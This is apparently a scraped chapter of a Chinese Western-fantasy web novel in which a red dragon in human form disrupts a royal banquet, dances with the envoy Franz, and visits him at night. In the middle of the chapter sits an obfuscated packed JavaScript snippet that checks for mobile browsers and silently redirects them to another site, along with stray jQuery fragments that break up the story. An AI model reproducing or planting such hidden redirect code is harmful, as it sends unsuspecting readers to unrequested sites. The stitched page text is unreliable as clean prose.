21. 第 21 章

作品:《神秘的她们[西幻]

    它在说什么?!


    宴会厅内下意识喧哗起来,继而马上陷入寂静,众人惊恐地瞥了一眼红龙,害怕它因此而不快。


    “这、这,”奥伯伦在做最后的挣扎,“我们当然诚挚邀请阁下参与庆典,毕竟这场庆典也是与龙相关,只是,只是——您的体型!对,阁下魁梧有力的体型,我们的宴会厅过于狭小,实在没法容纳——”


    “你的意思是,体型太大所以不能参加?”


    “哦、呃,也许,我的意思是,是的。”


    “这并没有什么难的。”红龙武断地否决了奥伯伦的话。


    阴沉沉的天空中,它扇动着一对巨翼腾空而起,微弱的日光皆被它尽数遮蔽。这巨大的阴影中,红龙的胸腔处自动燃起一团火光,火光越烧越旺,覆盖了它的全身,几乎照亮了半边天空。


    它要做什么?!


    在众人惊骇的目光中,那团火球突然如流星坠地,穿过破了的屋顶重重地砸向地面!


    “轰隆”一声巨响,宴会厅的地板骤然塌陷了一大块,一大片烟尘飞舞,惹得周围人不住地呛咳。


    烟尘渐渐散了,有人大着胆子探头看,只见如蛛网般破裂的地面上,站着一个长着犄角的女人。


    她有一头十分狂野的红发,如同熊熊燃烧的火焰,无风自动;明黄色的眼睛很大,睫毛浓密,这本应给人一种明媚轻快的感觉,可她浅褐色的竖瞳和毫无情感的眼神,使得与她对视的人无一不颤栗;她的犄角似羊角,但棱角更硬更分明,层层叠叠地向上盘旋。


    除此以外,最令人惊骇的还是她的身体。


    她并没有穿常人的衣物,而是在身上覆盖了一层厚厚的鳞甲,从脸颊两侧至耳后,一路向下,鳞片逐渐变大,排列得更加紧密。她的每一处皮肤皆被半透明的晶石一般的赤红鳞片整齐地包裹着,唯独胸口一处的鳞片看起来有些杂乱,像是少了一片后其他鳞片被人为地掰动过。


    她的四肢仍是人类形态,只是双手的骨节更大,更硬,指尖红得发黑,指甲并不算长,但十分锋利,幽幽地闪着寒光。


    “现在,”她一步一步走出地面塌陷的范围,众人便步步后退,“宴会可以开始了。”


    .


    虽至初夏,天气还没有彻底热起来,天阴沉着脸使劲地往破了个大洞的王宫内吹风,吹得众人哆哆嗦嗦,却还不得不挥动着僵硬的肢体跳舞。


    卡塔利娜在跳舞的人群中游走,她走到谁身边,又或者往谁身上瞥一眼,都会吓得那人面色惨白,几乎要昏厥在舞伴身上。等吓够了人,觉得没意思后,她又晃晃悠悠踱步到餐台旁,将人群惊得往另一个角落躲。


    不好吃。


    她捏着餐台上徒有其貌的糕点,又尝了一口几近无味的酒液,不悦地皱了皱眉。


    这是很正常的事,庆典本是社交的狩猎场,食物也只不过是装点的工具,哪里比得上在山野间炙烤的野味,和从“贝莉的金杯”里流淌出的酒液呢?


    卡塔利娜没吃几口就丢下了手里的食物,她转过身来,饶有兴致地看着人类战战兢兢地表演宴会上该发生的事。


    真令人恼怒。


    看着红龙悠然自得恐吓着臣民的样子,奥伯伦强撑着笑,示意罗斯到他面前。


    惹出祸事的伍德早在刚才就被他命人关押下去了,他厌恶被人威胁的感觉,也不喜欢自己的权柄被旁人分走,哪怕只是注意力;他一定要搞清楚,当时到底发生了什么,以及下一步还可以做些什么。


    罗斯在他耳旁细语,红龙则无聊地东游西逛,最后在一个使团使者面前停下了脚步。


    “——遇到海难后,队伍加入了一个向导,和红龙长得一模一样……”


    “——你在这里。”


    卡塔利娜站在弗兰茨面前,面无表情地问道:“你怎么不去跳舞?”


    “……卡塔利娜。”弗兰茨不知该作何回答,只好很轻地笑了一下,然后又摇了摇头。


    众人的目光汇聚在他身上,不用去看,他也能感觉到那些眼神里略带恶意的探究,毕竟这可是红龙第一个以好态度对待的人;不过有些人认出了弗兰茨的身份,联想到是驭龙女士的后人,疑虑也就打消了不少。


    是好意还是恶意,弗兰茨已经无意深究,他也不再在乎;而卡塔利娜为何会在这里,除了明面上发泄被刺杀的怒火,肯定还有其他缘因。但是弗兰茨已经学会不去追问,他清楚如果卡塔利娜不想说,那么没有人能知道;而且相比用嘴说清楚,卡塔利娜更喜欢用现实来展现。


    所以他不再纠结,而是另起一个话题:“那你想跳舞吗?”


    “跳舞?”卡塔利娜重复了一遍。


    “对,跳舞,”弗兰茨笑了,他突然感觉很轻松,尽管有许多人看着他们,他还是向她迈了一小步,“宴会上大家总是要跳舞的,你要不要也来跳舞?”


    卡塔利娜没有说话,她只是看着他,看着他不附加任何意味的浅笑,定定地看了半响后,她慢吞吞地道:“好。”


    于是他们跳舞了。


    与其说是跳舞,不如说是抱在一起左右摇晃,弗兰茨没有做出交谊舞的邀请动作,卡塔利娜也本就不在乎,于是两个人一拍即合,在舞池没有规律的晃来晃去。


    他们靠得不近,不是紧密的拥抱,也没有暖味地贴着腰肢,虽然只是在胡乱地转着圈,但两人都跳得心情愉悦。


    “这可不会像弗兰茨表兄会做的事。”舞池之外,阿奇尔·杜兰德小声地和他姐姐议论道。


    他十分惊讶,毕竟弗兰茨的性格小心谨慎,并不是喜爱博人眼球的类型,以往的社交场所他也不总是出现,出现了也习惯站在人群之外,可是现在——


    阿奇尔看着弗兰茨脸上并不遮掩的浅笑,十分不解。


    “再谨慎的人也想为自己博一个出路吧。”阿奇尔的姐姐淡淡道,意有所指。


    闻言,阿奇尔诧异地看向舞池中央,两人动作虽然不亲密也不规范,但红龙的眉梢确实也流过一丝笑意。


    一曲舞终,两人便也松开了手,但红龙不再像最开始那样四处走动引起恐慌,而是站在弗兰茨身边说着些什么。


    难道说红龙对驭龙女士的后人,确实还存在着几分和善之心,而弗兰茨觉察出这一点,所以有意迎合上去了吗?


    “……你的意思是,红龙早已加入了行赏的队伍,并和弗兰茨·罗兰关系良好?”奥伯伦低声问道。


    罗斯恭敬回答:“依我所见,确实如此。”


    “……弗兰茨·罗兰。”奥伯伦对这个名字颇为熟悉,不是因为驭龙女士的缘故,而是因为,因为——


    因为在行赏前,是塞莱斯特向他推荐的弗兰茨!


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991990|193756||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她当时是怎么说来着的?


    她当时说:“如果兄长在驭龙女士的后人们中决定不了人选的话,不如选择弗兰茨·罗兰。”


    ——“弗兰茨·罗兰?”


    ——“是的,他是我在念书时曾经的同学,性格内敛,并不喜好出风头。我想,他应该是一个合适的人选。”


    确实是一个合适的人选。


    吉祥物嘛,就应该不争不闹,温柔乖顺,就像他的妹妹一样,奥伯伦放下了警惕心,选择了弗兰茨·罗兰成为本次行赏的使团使者。


    可是现在,奥伯伦沉下了心,弗兰茨·罗兰与红龙交好,而弗兰茨·罗兰又是由塞莱斯特推荐的,这其中是否藏有他尚未知晓的内情?


    “去把塞莱斯特叫来!”奥伯伦急切催促。


    “原来你也在这里。”


    红龙突然响起的声音打断了罗斯的步伐,罗斯一抬起头,便见红龙站在一旁玩味地看着他们,她问:“难道你忘了我吗?”


    罗斯的动作顿住了,奥伯伦的疑心也随着这句话渐起,但他并不想红龙离他太近,所以他只好先将红龙打发:“阁下——”


    “我很满意,”红龙自顾自地说话,这让奥伯伦感到不满,感到挑衅,“我还要参加宴会,我要住在这里。”


    此话一出,奥伯伦几乎要控制不住自己的表情,他的声音干涩,正要想办法婉拒,突然灵光一现,一个大胆的念头迫使他将即将说出口的话吞了回去:“这、我们当然欢迎阁下的到来,不过王宫——我们将请阁下住在王宫外的金水仙公馆,那里的环境适宜,您的好友罗兰先生现在也住在那儿。”


    .


    是夜。


    清风将香根鸢尾的暖香拂进了室内,弗兰茨躺在床上,被这香味扰得莫名睡不着。他在丝滑柔软的床上翻了几次身,却把心也给翻乱了。


    他只好坐起来披上外袍,打算走出卧房下楼走走。


    才推开沉重的木门,一道熟悉的身影就出现眼前。


    来者正是卡塔利娜。


    弗兰茨先是吃了一惊,转而又觉得是卡塔利娜会做的事。


    他轻声问她:“怎么下来了?”


    卡塔利娜定定地看着他,没有马上说话,直到盯得弗兰茨有点儿局促的时候,她才一提嘴角,抬手把弗兰茨往房间里一推,右脚向后一踢将木门关上了。


    金水仙公馆本是提供给那些与国王夜谈后的近臣休息的地方,为显王族之慷慨,公馆修建得宽敞又精美,与他们之前在格兰德城住的行驿馆截然不同,因此尽管卡塔利娜关门的动作略显粗鲁,木门合上时也不过轻轻一响,就把其余的事物都关在了门外。


    现在,这里只剩下弗兰茨和卡塔利娜。


    她在房间里随意走了两圈,然后径直地坐在了弗兰茨尚存余温的大床上。


    “怎么不坐?”她在床上弹了两下,发觉弗兰茨还在门口站着。


    弗兰茨看了她两眼,还是走了过来,在一旁的椅子上坐下了。


    也许是卡塔利娜在这里的缘故,今晚的金水仙公馆很安静,远处朦胧的喧哗则被暧昧的软风推往另一个方向。


    两人相视了一会儿,弗兰茨忍不住想问,“怎么”刚离开了嘴巴,他又将嘴闭上了。


    “怎么不问了?”这一回,卡塔利娜先问了。